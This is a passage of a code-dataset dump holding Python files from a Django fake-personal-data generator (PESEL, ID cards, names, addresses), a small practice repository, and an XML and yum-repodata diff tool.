1, 3, 7, 9, 1, 3]\n sum = 0\n for i in range(len(pesel)):\n tmp_number = int(pesel[i]) * numbers_of_weight[i]\n tmp_number = int(str(tmp_number)[-1])\n sum += tmp_number\n sum = int(str(sum)[-1])\n if sum == 0:\n pesel += '0'\n else:\n pesel += str(10 - sum)\n\n return pesel\n\n\ndef generate_id_card():\n number_of_weights = [7, 3, 1, 7, 3, 1, 7, 3]\n card_series = random.choices(string.ascii_uppercase, k=3)\n series_converted = [string.ascii_uppercase.index(letter) + 10 for letter in card_series]\n card_number = random.choices(string.digits, k=5)\n card_id = series_converted + card_number\n control_number = [str(sum(int(number_of_weights[i]) * int(card_id[i]) for i in range(len(number_of_weights))) % 10)]\n return ''.join((card_series + control_number + card_number))\n\n\ndef generate_first_name(gender='M'):\n if gender == 'M':\n cls = MaleName\n else:\n cls = FemaleName\n print(cls.__name__)\n # wielkośc danych należy zapiać w oddzielnej tabeli dotyczącej importów\n table_size = cls.objects.all().count()\n random_id = randint(1, table_size)\n random_obj = cls.objects.get(id=random_id)\n return random_obj.name\n\n\ndef generate_last_name(gender='M'):\n if gender == 'M':\n cls = MaleSurname\n else:\n cls = FemaleSurname\n print(cls.__name__)\n # wielkośc danych należy zapiać w oddzielnej tabeli dotyczącej importów\n table_size = cls.objects.all().count()\n random_id = randint(1, table_size)\n random_obj = cls.objects.get(id=random_id)\n return random_obj.name\n\n\ndef generate_address():\n with open(DATA_CSV / 'kody-pocztowe.csv') as csv_file:\n address = []\n csv_reader = csv.reader(csv_file, delimiter=',')\n list_csv_reader = [i for i in csv_reader]\n rows_count = (len(list_csv_reader))\n random_row = random.randint(1, rows_count)\n street_number = str(random.randint(1, 100))\n flat = str(random.randint(1, 100))\n for row in list_csv_reader:\n if row[0] == str(random_row):\n return [row[1], row[2].capitalize(), row[4], street_number, flat]\n\n\n\n\n" }, { "alpha_fraction": 0.7767857313156128, "alphanum_fraction": 0.7767857313156128, "avg_line_length": 21.399999618530273, "blob_id": "5db1624be5d97bbf9649ca99493978b8d30a44f9", "content_id": "f4f88ebb1ebb320f87fddba416892dc90b07b687", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 112, "license_type": "no_license", "max_line_length": 41, "num_lines": 5, "path": "/data_import_to_model/apps.py", "repo_name": "zwiktor/GeneratorDanychOsobowych", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass DataImportToModelConfig(AppConfig):\n name = 'data_import_to_model'\n" }, { "alpha_fraction": 0.6991525292396545, "alphanum_fraction": 0.7192796468734741, "avg_line_length": 20, "blob_id": "0bf873affdb568dbccbfe4ab02d85987d96f08b2", "content_id": "f73da8c17ea361f066a692e817a59c3bfa32e507", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 949, "license_type": "no_license", "max_line_length": 79, "num_lines": 45, "path": "/data_import_to_model/models.py", "repo_name": "zwiktor/GeneratorDanychOsobowych", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom random import randint\nfrom FakePersonGenerator import settings\nimport csv\n\n\nclass BaseName(models.Model):\n name = models.CharField(max_length=255)\n\n class Meta:\n abstract = True\n\n def __repr__(self):\n return self.name\n\n\nclass FemaleName(BaseName):\n pass\n\n\nclass FemaleSurname(BaseName):\n pass\n\n\nclass MaleName(BaseName):\n pass\n\n\nclass MaleSurname(BaseName):\n pass\n\n\n#01-493,Warszawa (Bemowo),Mazowieckie,Andyjska\nclass Address(models.Model):\n postal_code = models.CharField(max_length=6)\n city = models.CharField(max_length=256)\n region = models.CharField(max_length=64)\n street = models.CharField(max_length=128)\n\n\nclass ImportInfo(models.Model):\n class_name = models.CharField(max_length=64)\n insert_date = models.DateTimeField()\n data_size = models.PositiveIntegerField()\n file = models.FilePathField() # dodać regex wymagający końca ścieżki z .csv" } ]
7
SampannaTuladhar/PracticeGit
https://github.com/SampannaTuladhar/PracticeGit
60655c4adbb2422d9be8db011e2beef31c6424d8
b702ffe203e248ef4722e7f097cf84ee9a69c529
ffa91b9b954fb65063d7b8c4c1ead5bbfaea056b
refs/heads/master
2023-05-06T17:10:32.715941
2021-05-19T04:24:17
2021-05-19T04:24:17
368,705,883
0
0
null
2021-05-19T01:00:19
2021-05-19T01:01:07
2021-05-19T01:08:53
Python
[ { "alpha_fraction": 0.5333333611488342, "alphanum_fraction": 0.5333333611488342, "avg_line_length": 14, "blob_id": "dee317c8c37ef04838818cbc17c196e0df94149e", "content_id": "db7f7ea82e6503e3c5b805acddbf9b9e59270f88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 30, "license_type": "no_license", "max_line_length": 14, "num_lines": 2, "path": "/umesh.py", "repo_name": "SampannaTuladhar/PracticeGit", "src_encoding": "UTF-8", "text": "def meme(i,j):\n print(i + j)\n" }, { "alpha_fraction": 0.7083333134651184, "alphanum_fraction": 0.7083333134651184, "avg_line_length": 23.5, "blob_id": "b8dd24bf4c9fdee816f79f3f4beaf8dde6d70f1a", "content_id": "2eee23377a92c5db8dcc7114540677a9149bf78e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 48, "license_type": "no_license", "max_line_length": 24, "num_lines": 2, "path": "/hello.py", "repo_name": "SampannaTuladhar/PracticeGit", "src_encoding": "UTF-8", "text": "print(\"Git is too easy\")\nprint(\"Dont get cocky\")" } ]
2
zfq308/xmldiff-2
https://github.com/zfq308/xmldiff-2
3de9dd23bd0d58c20f1277aa426557f3539ebfd4
2ac854e62409c2395a6309cd22dcdf976ad01d38
3c3437de9dd4236f45af18af8c4da5aa63a85978
refs/heads/master
2020-06-14T03:07:00.660712
2014-11-21T13:28:20
2014-11-21T13:28:20
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5384318232536316, "alphanum_fraction": 0.5422943234443665, "avg_line_length": 33.06578826904297, "blob_id": "9c5dafe51468a3462d338ebefff2b3e77a47f8b8", "content_id": "79597524f21720213ea6849a7987d1fda90636eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2589, "license_type": "no_license", "max_line_length": 84, "num_lines": 76, "path": "/xmlwriter.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "from xml.sax.saxutils import escape, quoteattr\n# import sys\n\n\nclass XMLWriter(object):\n \"\"\" Simple XML writer similar to xml.sax.saxutils.XMLGenerator.\n write xml output sequentialy (without building tree in memory)\n to stream\"\"\"\n\n def __init__(self, stream, lvl_sep=' ', encoding=\"utf-8\"):\n self.stream = stream\n self.indent_lvl = 0\n self.indent_sep = lvl_sep\n self.no_content = False\n self.no_cdata = True\n self._encoding = encoding\n self.elem_stack = []\n self.last_action = \"\"\n\n def _start_elem_str(self, name, attrs, no_content):\n attrs_str = \" \".join([\"%s=%s\" % (k, quoteattr(v))\n for k, v in attrs.iteritems() if v is not None])\n end_mark = \"/>\\n\" if no_content else \">\"\n\n if attrs:\n fmt_str = \"<%%s %%s %s\" % end_mark\n return fmt_str % (name, attrs_str)\n else:\n fmt_str = \"<%%s%s\" % end_mark\n return fmt_str % (name)\n\n def start_document(self):\n self.stream.write(u'<?xml version=\"1.0\" encoding=\"%s\"?>\\n' % self._encoding)\n\n def end_document(self):\n self.stream.flush()\n self.stream.close()\n\n def start_element(self, name, attrs, no_content=False):\n self.indent_lvl += 1\n if self.no_cdata and self.last_action == \"start\":\n self.stream.write(\"\\n\")\n if not no_content:\n self.elem_stack.append(name)\n else:\n self.no_content = True\n self.last_action = \"start\"\n\n self.no_cdata = True\n self.stream.write(self.indent_sep * self.indent_lvl)\n self.stream.write(self._start_elem_str(name, attrs,\n no_content).encode(\"utf-8\"))\n if no_content:\n self.indent_lvl -= 1\n\n def end_element(self):\n if not self.no_content:\n if self.no_cdata:\n self.stream.write(self.indent_sep * self.indent_lvl)\n self.stream.write(\"</%s>\\n\" % self.elem_stack.pop())\n self.indent_lvl -= 1\n else:\n self.no_content = False\n self.no_cdata = True\n self.last_action = \"end\"\n\n def cdata(self, content):\n self.no_cdata = False\n self.stream.write(escape(content).encode(\"utf-8\"))\n\n def comment(self, comment):\n if not self.no_cdata or self.last_action == \"start\":\n self.stream.write(\"\\n\")\n self.stream.write(self.indent_sep * (self.indent_lvl+1))\n self.stream.write(\"<!-- %s -->\\n\" % comment)\n self.last_action = \"end\"\n" }, { "alpha_fraction": 0.44935065507888794, "alphanum_fraction": 0.44935065507888794, "avg_line_length": 76, "blob_id": "67106bdf4b49bc0bc3e8a46f3b15c1a5f772e881", "content_id": "2f064bb0393a1cce9a6a366994a05ae69c2d9715", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 385, "license_type": "no_license", "max_line_length": 82, "num_lines": 5, "path": "/conf/primary.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "conf = {\"IDS\": {\".root.metadata.package\": [\"name\", \"arch\", \"version\"],\n \".root.metadata.package.format.rpm:provides.rpm:entry\": [\"name\"]},\n \"REQUIRED_ATTRS\": {\".root.metadata.package\": [\"name\", \"arch\", \"version\"],\n \".root.metadata.package.version\": [\"epoch\", \"ver\",\n \"rel\"]}}\n" }, { "alpha_fraction": 0.48085105419158936, "alphanum_fraction": 0.48085105419158936, "avg_line_length": 77.33333587646484, "blob_id": "89d77f4da203b79bfbcface56524c2054593af55", "content_id": "cb2132369584b264e1642f9a4b2adfd031927d08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 235, "license_type": "no_license", "max_line_length": 81, "num_lines": 3, "path": "/conf/other.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "conf = {\"IDS\": {\".root.filelists.package\": [\"name\", \"arch\", \"version.epoch\",\n \"version.ver\", \"version.rel\"]},\n \"REQUIRED_ATTRS\": {\".root.filelists.package\": [\"name\", \"arch\", \"pkgid\"]}}\n" }, { "alpha_fraction": 0.5594577789306641, "alphanum_fraction": 0.5626925230026245, "avg_line_length": 31.954315185546875, "blob_id": "542a5b2ac95c5123813b42fd46c39d357f253765", "content_id": "2ffa40b8e9eb301278bc0dda7c1f589ed67dc8ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6492, "license_type": "no_license", "max_line_length": 86, "num_lines": 197, "path": "/parser.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "import xml.parsers.expat\nimport StringIO\nimport collections\n\nimport path2tree\n\n\nclass UnknownElementError(Exception):\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return \"UnknownElementError: element '%s'\" % self.name\n\n def __str__(self):\n return \"UnknownXMLStructureError: path '%s'\" % self.name\n\n\nclass UnknownXMLStructureError(Exception):\n def __init__(self, path):\n self.path = path\n\n def __repr__(self):\n return \"UnknownXMLStructureError: path '%s'\" % self.path\n\n def __str__(self):\n return \"UnknownXMLStructureError: path '%s'\" % self.path\n\n\nclass XMLProperty(object):\n __slots__ = (\"source\", \"offset\", \"_len\", \"_hash\")\n\n def __init__(self, source, offset, _len):\n self.source = source\n self.offset = offset\n self._len = _len\n self._hash = None\n\n def load(self):\n oldpos = self.source.tell()\n self.source.seek(self.offset)\n ret = self.source.read(self._len).strip()\n self.source.seek(oldpos)\n ret = ret.decode(\"utf-8\")\n return ret\n\n def store(self, source, offset, _len):\n self.source = source\n self.offset = offset\n self._len = _len\n\n def __eq__(self, other):\n return hash(self) == hash(other)\n\n def __ne__(self, other):\n return hash(self) != hash(other)\n\n def __len__(self):\n return self._len\n\n def __repr__(self):\n self.source.seek(self.offset)\n ret = self.source.read(self._len).strip()\n return ret\n\n def __getitem__(self, _len):\n start = _len.start if _len.start else 0\n stop = _len.stop if _len.stop else 0\n self.source.seek(self.offset + start)\n ret = self.source.read(stop).strip()\n return ret\n\n def __hash__(self):\n if not self._hash:\n self.source.seek(self.offset)\n ret = self.source.read(self._len).strip()\n self._hash = hash(ret)\n return self._hash\n\n\nclass Parser(object):\n def __init__(self, nodes_limit=16000, depth_limit=3):\n self.parser = xml.parsers.expat.ParserCreate()\n self.parser.StartElementHandler = self.start_el_handler\n self.parser.EndElementHandler = self.end_el_handler\n self.parser.CharacterDataHandler = self.char_data_handler\n self.el_stack = collections.deque()\n self.path = \"\"\n self.cdata = False\n self.tree = path2tree.Node(\"root\")\n self.light_ended = False\n self.nodes_limit = nodes_limit\n self.depth_limit = depth_limit\n self.nodes_counter = 0\n\n def start_el_handler(self, name, attrs):\n if self.light_ended:\n self.start_el_light_ended(name, attrs)\n if len(self.el_stack) > self.depth_limit or\\\n self.nodes_counter > self.nodes_limit:\n self.start_el_light(name, attrs)\n else:\n self.start_el_normal(name, attrs)\n self.nodes_counter += 1\n\n def start_el_normal(self, name, attrs):\n self.path = \".\".join([el[\"name\"] for el in self.el_stack] + [name])\n added = self.tree.fill(self.path, value=None, _type=\"content\")\n self.el_stack.append({\"name\": name, \"attrs\": attrs, \"node\": added})\n for key, val in attrs.iteritems():\n self.tree.fill(\"%s.%s\" % (self.path, key),\n value=val, _type=\"attr\")\n self.cdata = None\n\n def start_el_light_ended(self, name, attrs):\n node = self.el_stack[-1][\"node\"]\n if self.light_ended and node:\n stack_item = self.el_stack.pop()\n node = stack_item[\"node\"]\n node._len = self.parser.CurrentByteIndex - node.offset\n self.path = \".\".join([el[\"name\"] for el in self.el_stack])\n self.light_ended = False\n\n def start_el_light(self, name, attrs):\n self.path = \".\".join([el[\"name\"] for el in self.el_stack] + [name])\n added = self.tree.fill_light(self.path, \"content\", self.source,\n self.parser.CurrentByteIndex, 0)\n self.el_stack.append({\"name\": name, \"attrs\": attrs, \"node\": added})\n self.cdata = None\n\n def end_el_handler(self, name):\n self.start_el_light_ended(name, None)\n node = self.el_stack[-1][\"node\"]\n if not node or isinstance(node, path2tree.LightNode):\n self.end_el_light(name)\n else:\n self.end_el_normal(name)\n self.path = \".\".join([el[\"name\"] for el in self.el_stack])\n\n def end_el_light(self, name):\n node = self.el_stack[-1][\"node\"]\n if node:\n self.light_ended = True\n else:\n self.el_stack.pop()\n\n def end_el_normal(self, name):\n stack_item = self.el_stack.pop()\n node = stack_item[\"node\"]\n self.path = \".\".join([el[\"name\"] for el in self.el_stack])\n if self.cdata:\n self.cdata_xml._len = self.parser.CurrentByteIndex - self.cdata_xml.offset\n node.value = self.cdata_xml\n node._type = \"content\"\n self.cdata = None\n\n def char_data_handler(self, text):\n node = self.el_stack[-1][\"node\"]\n if not node or isinstance(node, path2tree.LightNode):\n self.char_data_light(text)\n else:\n self.char_data_normal(text)\n\n def char_data_light(self, text):\n pass\n\n def char_data_normal(self, text):\n if self.cdata is None:\n self.cdata = False\n self.cdata_xml = XMLProperty(self.source,\n self.parser.CurrentByteIndex, 0)\n if not self.cdata and text.strip():\n self.cdata = True\n\n def parse_file(self, fp):\n self.source = fp\n self.parser.ParseFile(fp)\n\n if self.light_ended:\n stack_item = self.el_stack.pop()\n node = stack_item[\"node\"]\n node._len = self.parser.CurrentByteIndex - node.offset\n self.path = \".\".join([el[\"name\"] for el in self.el_stack])\n self.light_ended = False\n return self.tree\n\n def parse_str(self, _str):\n self.source = StringIO.StringIO(_str)\n self.parser.Parse(_str, True)\n\n if self.light_ended:\n stack_item = self.el_stack.pop()\n node = stack_item[\"node\"]\n node._len = self.parser.CurrentByteIndex - node.offset\n self.path = \".\".join([el[\"name\"] for el in self.el_stack])\n self.light_ended = False\n return self.tree\n" }, { "alpha_fraction": 0.3987951874732971, "alphanum_fraction": 0.3987951874732971, "avg_line_length": 74.45454406738281, "blob_id": "8b8676929e487664ebbbaec98edd616aae724981", "content_id": "72283d8cdf2e00255595c07bd0123062e40954fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 830, "license_type": "no_license", "max_line_length": 99, "num_lines": 11, "path": "/conf/updateinfo.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "conf = {\"IDS\": {\".root.updates.update\": [\"id\"],\n \".root.updates.update.pkglist.collection\": [\"short\"],\n \".root.updates.update.pkglist.collection.package\": [\"name\",\n \"version\",\n \"release\",\n \"arch\"],\n \".root.updates.update.references.reference\": [\"href\", \"title\"]},\n \"REQUIRED_ATTRS\": {\".root.updates.update\": [\"id\"],\n \".root.updates.update.reference\": [\"title\", \"href\"],\n \".root.updates.uddate.pkglist.collection\": [\"short\"],\n \".root.updates.update.pkglist.collection.package\": [\"name\", \"version\"]}}\n" }, { "alpha_fraction": 0.5832574963569641, "alphanum_fraction": 0.596906304359436, "avg_line_length": 20.134614944458008, "blob_id": "167c2efd44723efe63fb7541e2152d735da62a0a", "content_id": "c59775f730a9d85c473bbe535585a4192af39d49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1099, "license_type": "no_license", "max_line_length": 66, "num_lines": 52, "path": "/utils.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "import bz2\nimport gzip\nimport tempfile\nfrom StringIO import StringIO\n\nimport pycurl\n\n\ndef get_archive_type(fname):\n fp = open(fname, \"rb\")\n head = fp.read(3)\n fp.close()\n if head == \"\\x1f\\x8b\\x08\":\n return \"gzip\"\n elif head == \"\\x42\\x5A\\x68\":\n return \"bzip\"\n else:\n return False\n\n\ndef ungzip(fname):\n tmp_fname = tempfile.mkstemp()[1]\n tmpf = open(tmp_fname, \"w\")\n gz = gzip.open(fname)\n tmpf.write(gz.read())\n tmpf.close()\n return tmp_fname\n\n\ndef unbzip(fname):\n tmp_fname = tempfile.mkstemp()[1]\n tmpf = open(tmp_fname, \"w\")\n bz = bz2.open(fname)\n tmpf.write(bz.read())\n tmpf.close()\n return tmp_fname\n\n\ndef retrieve(uri):\n _buffer = StringIO()\n c = pycurl.Curl()\n #if uri.startswith(\"file://\"):\n if isinstance(uri, unicode):\n uri = uri.encode(\"utf-8\")\n c.setopt(c.URL, uri)\n #elif uri.startswith(\"http://\") or uri.startswith(\"https://\"):\n #c.setopt(c.FILE, uri)\n c.setopt(c.WRITEFUNCTION, _buffer.write)\n c.setopt(c.FOLLOWLOCATION, True)\n c.perform()\n c.close()\n return _buffer\n" }, { "alpha_fraction": 0.3995674252510071, "alphanum_fraction": 0.40504685044288635, "avg_line_length": 46.5, "blob_id": "4f1d9fb4f2192165494e44b5c8218c07fee3d0d1", "content_id": "60064a38ceb6c815307e4cbcaf69c9f922d48b4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6935, "license_type": "no_license", "max_line_length": 88, "num_lines": 146, "path": "/saxxml.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "from path2tree import Node\nfrom path2tree import NodeList\nfrom path2tree import DiffNode\nfrom path2tree import DiffNodeList\n\n\ndef tree2xml(xmlgenerator, root_node):\n stack = [(root_node, \"start\")]\n while stack:\n node, action = stack.pop(0)\n if action == \"start\":\n if isinstance(node, NodeList):\n if hasattr(node, \"objects\"):\n i = 0\n for obj in node.objects:\n stack.insert(i, (obj, \"start\"))\n i += 1\n else:\n no_content = True\n attrs = {}\n i = 0\n if hasattr(node, \"objects\"):\n for subnode in node.objects.itervalues():\n if (not isinstance(subnode, NodeList) and\n subnode._type == \"attr\"):\n attrs[subnode.name] = subnode.value\n else:\n stack.insert(i, (subnode, \"start\"))\n i += 1\n no_content = False\n no_content = node.value is None and no_content\n xmlgenerator.start_element(node.name, attrs,\n no_content=no_content)\n if node.value:\n xmlgenerator.cdata(node.value.load())\n stack.insert(i, (node, \"end\"))\n if action == \"end\":\n xmlgenerator.end_element()\n\n\ndef diff_tree2xml(xmlgenerator, root_node, required_attrs={}):\n stack = [(root_node, \"start_diff\", \".root\")]\n while stack:\n node, action, current_path = stack.pop(0)\n if action == \"start_diff\":\n if isinstance(node, DiffNodeList):\n i = 0\n empty_common = True\n for obj in node.common_objects:\n if not obj.is_empty():\n empty_common = False\n break\n if not empty_common:\n stack.insert(i, (\"COMMON\", \"start_xml\", current_path))\n i += 1\n for obj in node.common_objects:\n stack.insert(i, (obj, \"start_diff\", current_path))\n i += 1\n if node.missing_in_1:\n stack.insert(i, (\"MISSING IN 1\", \"start_xml\", current_path))\n i += 1\n for obj in node.missing_in_1:\n stack.insert(i, (obj, \"start_xml\", current_path))\n i += 1\n if node.missing_in_2:\n stack.insert(i, (\"MISSING IN 2\", \"start_xml\", current_path))\n i += 1\n for obj in node.missing_in_2:\n stack.insert(i, (obj, \"start_xml\", current_path))\n i += 1\n\n elif isinstance(node, DiffNode):\n if node._type != \"attr\":\n if node.is_empty():\n continue\n attrs = {}\n i = 0\n no_content = True\n for subnode in node.common_objects.itervalues():\n _name = subnode.name\n _dname = \"__diff__%s\" % subnode.name\n if (not isinstance(subnode, DiffNodeList) and\n subnode._type == \"attr\"):\n if isinstance(subnode, DiffNode) and\\\n subnode.differ:\n attrs[_name] = subnode.value\n attrs[_dname] = subnode.diff_value\n if (current_path in required_attrs and\n subnode.name in required_attrs[current_path]):\n if isinstance(subnode, DiffNode):\n attrs[_name] = subnode.value\n attrs[_dname] = subnode.diff_value\n elif isinstance(subnode, Node):\n attrs[subnode.name] = subnode.value\n else:\n if (current_path in required_attrs and\n subnode.name in required_attrs[current_path]):\n stack.insert(i, (subnode, \"start_xml\",\n \"%s.%s\" % (current_path,\n subnode.name)))\n else:\n stack.insert(i, (subnode, \"start_diff\",\n \"%s.%s\" % (current_path,\n subnode.name)))\n i += 1\n no_content = False\n\n for subnode in node.missing_in_1.itervalues():\n _name = \"__missing_in_1__%s\" % subnode.name\n if (not isinstance(subnode, NodeList) and\n subnode._type == \"attr\"):\n attrs[_name] = subnode.value\n else:\n stack.insert(i, (subnode, \"start_xml\", current_path))\n stack.insert(i, (\"MISSING IN 1\", \"start_xml\", current_path))\n i += 2\n no_content = False\n\n for subnode in node.missing_in_2.itervalues():\n _name = \"__missing_in_2__%s\" % subnode.name\n if (not isinstance(subnode, NodeList) and\n subnode._type == \"attr\"):\n attrs[_name] = subnode.value\n else:\n stack.insert(i, (subnode, \"start_xml\", current_path))\n stack.insert(i, (\"MISSING IN 2\", \"start_xml\", current_path))\n i += 2\n no_content = False\n\n no_content = node.value is None and no_content\n xmlgenerator.start_element(node.name, attrs, no_content)\n if node.differ:\n if node.value:\n xmlgenerator.comment(\"MISSING IN 1\")\n xmlgenerator.cdata(node.value.load())\n if node.diff_value:\n xmlgenerator.comment(\"MISSING IN 2\")\n xmlgenerator.cdata(node.diff_value.load())\n stack.insert(i, (node, \"end_diff\", current_path))\n elif action == \"start_xml\":\n if not isinstance(node, str):\n tree2xml(xmlgenerator, node)\n else:\n xmlgenerator.comment(node)\n elif action == \"end_diff\":\n xmlgenerator.end_element()\n" }, { "alpha_fraction": 0.6855421662330627, "alphanum_fraction": 0.7237951755523682, "avg_line_length": 36.30337142944336, "blob_id": "a94c938acfe93f38554567339cb4db160ea00a51", "content_id": "c02927bdc6c55e8ae2320968adb3a5533beb69ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3320, "license_type": "no_license", "max_line_length": 200, "num_lines": 89, "path": "/examples/xml_diff_example.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "import urllib2\nimport sys\n\nimport parser\nimport saxxml\nimport xmlwriter\nimport gzip\n\n# In this example we make diff between fedora 19 and fedora 20 comps file\n\n# Download and store f20 comps file\nf = open(\"f20-comps.xml\", \"w\")\nresponse = urllib2.urlopen(\"http://dl.fedoraproject.org/pub/fedora/linux/releases/20/Fedora/x86_64/os/repodata/ac802acf81ab55a0eca1fe5d1222bd15b8fab45d302dfdf4e626716d374b6a64-Fedora-20-comps.xml\")\nf.write(response.read())\nf.close()\n\n# Same for f19 comps file\nf = open(\"f19-comps.xml.gz\", \"w\")\nresponse = urllib2.urlopen(\"http://dl.fedoraproject.org/pub/fedora/linux/releases/19/Fedora/x86_64/os/repodata/58d3d79e79810d9494d706bc4e1e6cfec685cb5c0b287cfe71804303ece26ee2-Fedora-19-comps.xml.gz\")\nf.write(response.read())\nf.close()\n\nf = gzip.open(\"f19-comps.xml.gz\")\nfunziped = open(\"f19-comps.xml\", \"w\")\nfunziped.write(f.read())\nf.close()\nfunziped.close()\n\n# Make parsers and load data\np = parser.Parser()\nparsed1 = p.parse_file(open(\"f20-comps.xml\"))\np = parser.Parser()\nparsed2 = p.parse_file(open(\"f19-comps.xml\"))\n\n\n# Comps files contains groups, categories and environments. We don't want\n# compare whole structures of for example groups, but compare them only\n# by their id sub element. So two groups with different structure but\n# same id are considered as equal. So two groups with same id will be\n# in COMMON part of diff output. But of course sub-parts of groups that are\n# different will be outputed as MISSING IN 1 or MISSING IN 1 or DIFF.\n\n# format of IDS is:\n# \"path.to.element\": [\"list\", \"of\", \"subelements\", \"forming\", \"together\",\n# \"unique\", \"id\"]\n\nIDS = {\".root.comps.group\": [\"id\"],\n \".root.comps.group.name\": [\"xml:lang\"],\n \".root.comps.group.description\": [\"xml:lang\"],\n \".root.comps.category\": [\"id\"],\n \".root.comps.category.name\": [\"xml:lang\"],\n \".root.comps.category.description\": [\"xml:lang\"],\n \".root.comps.environment\": [\"id\"],\n \".root.comps.environment.environment\": [\"id\"]}\n\n# This thing makes output more human friendly. Because xml output is containing\n# only elements and attributes which are different. But of course you want\n# to know at least id of group that contains different sub-elements.\n# REQUIRED_ATTRS ensure you, that if specified objects are different at least\n# at one pair attributes, output will contain also elements or attributes\n# from first source which are specified in REQUIRED_ATTRS.\n\nREQUIRED_ATTRS = {\"group\": [\"id\"],\n \"category\": [\"id\"],\n \"environment\": [\"id\"]}\n\n\n# Now do a diff thing. Path parameter is needed because diff method is called\n# recursively. So we start with empty path\n\ndiffed = parsed1.diff(parsed2, path=\"\", ids=IDS, required=REQUIRED_ATTRS)\n\n# Remove original structures, because they are changed and useless now.\n# And also because this example and whole tool is memory green.\n\ndel parsed1, parsed2\n\nwriter = xmlwriter.XMLWriter(sys.stdout, encoding=\"utf-8\")\nwriter.start_document()\n\n# write output to stdout. In saxxml module is also method tree2xml\n# rendering ordinary xml.\n# So you can call - but not at this point becaused parsed1 is already deleted\n# saxxml.tree2xml(writer, parsed1)\n# to render xml from parsed structure\n\nsaxxml.diff_tree2xml(writer, diffed, required_attrs=REQUIRED_ATTRS)\n\nwriter.end_document()\n" }, { "alpha_fraction": 0.5774714946746826, "alphanum_fraction": 0.5831748843193054, "avg_line_length": 36.57143020629883, "blob_id": "5227c3a79f8374ce2045861080aadd9e2bdc5628", "content_id": "74479de8f6b2e21d8664eade4a9eea0cd1167f1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2104, "license_type": "no_license", "max_line_length": 78, "num_lines": 56, "path": "/repodiff.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "import argparse\nimport os.path\nimport utils\n\nimport parser\nimport xmldiff\n\nCOMPARABLE_TYPES = [\"primary\", \"other\", \"filelists\", \"group\", \"updateinfo\"]\nCOMPARABLE_TYPES_ALIAS = {\"group\": \"comps\"}\n\n\ndef make_arg_parser():\n ret = argparse.ArgumentParser(description=\"update info diff tool\")\n ret.add_argument(\"repo_dir1\", type=str, help=\"source filename 1\")\n ret.add_argument(\"repo_dir2\", type=str, help=\"source filename 2\")\n ret.add_argument(\"--destdir\", type=str, help=\"result filename\",\n required=True)\n return ret\n\n\nif __name__ == \"__main__\":\n ap = make_arg_parser()\n args = ap.parse_args()\n\n fst_repo_files = {}\n snd_repo_files = {}\n for target, source in zip((fst_repo_files, snd_repo_files),\n (args.repo_dir1, args.repo_dir2)):\n p = parser.Parser()\n strbuffer = utils.retrieve(os.path.join(source,\n \"repodata\", \"repomd.xml\"))\n parsed = p.parse_str(strbuffer.getvalue())\n for data in parsed.get(\"repomd.data\").objects:\n url = data.get(\"location.href\")\n _type = data.get(\"type\")\n target[_type] = os.path.join(source, url)\n\n missing_in_1 = set(fst_repo_files) - set(snd_repo_files)\n missing_in_2 = set(snd_repo_files) - set(fst_repo_files)\n print \"missing types in 1 repo %s\" % \",\".join(missing_in_1)\n print \"missing types in 2 repo %s\" % \",\".join(missing_in_2)\n common = set(fst_repo_files) & set(snd_repo_files)\n if not os.path.exists(args.destdir):\n os.mkdir(args.destdir)\n\n for _type in common:\n if _type not in COMPARABLE_TYPES:\n continue\n _type_alias = _type\n print \"comparing: %s\" % _type_alias\n if _type in COMPARABLE_TYPES_ALIAS:\n _type_alias = COMPARABLE_TYPES_ALIAS[_type]\n conf_mod = __import__(\"conf.%s\" % _type_alias, fromlist=[_type_alias])\n xmldiff.diff(fst_repo_files[_type], snd_repo_files[_type],\n os.path.join(args.destdir, \"%s.xml.diff\" % _type),\n conf_mod.conf)\n" }, { "alpha_fraction": 0.6061846017837524, "alphanum_fraction": 0.61891770362854, "avg_line_length": 27.9342098236084, "blob_id": "5fcc164ba79053261d16f1f913c556267bc81e5c", "content_id": "228bcdd6bfcfca04eba32ed03073c24d24fbf4da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2199, "license_type": "no_license", "max_line_length": 75, "num_lines": 76, "path": "/xmldiff.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "#!/bin/env python\n\nimport argparse\nimport os\n# import sys\nimport tempfile\n\nimport parser\nimport saxxml\nimport utils\nimport xmlwriter\n\n\ndef make_arg_parser():\n ret = argparse.ArgumentParser(description=\"update info diff tool\")\n ret.add_argument(\"source1\", type=str, help=\"source filename 1\")\n ret.add_argument(\"source2\", type=str, help=\"source filename 2\")\n ret.add_argument(\"--dest\", type=str, help=\"result filename\")\n ret.add_argument(\"--conf\", type=str, help=\"configuration for 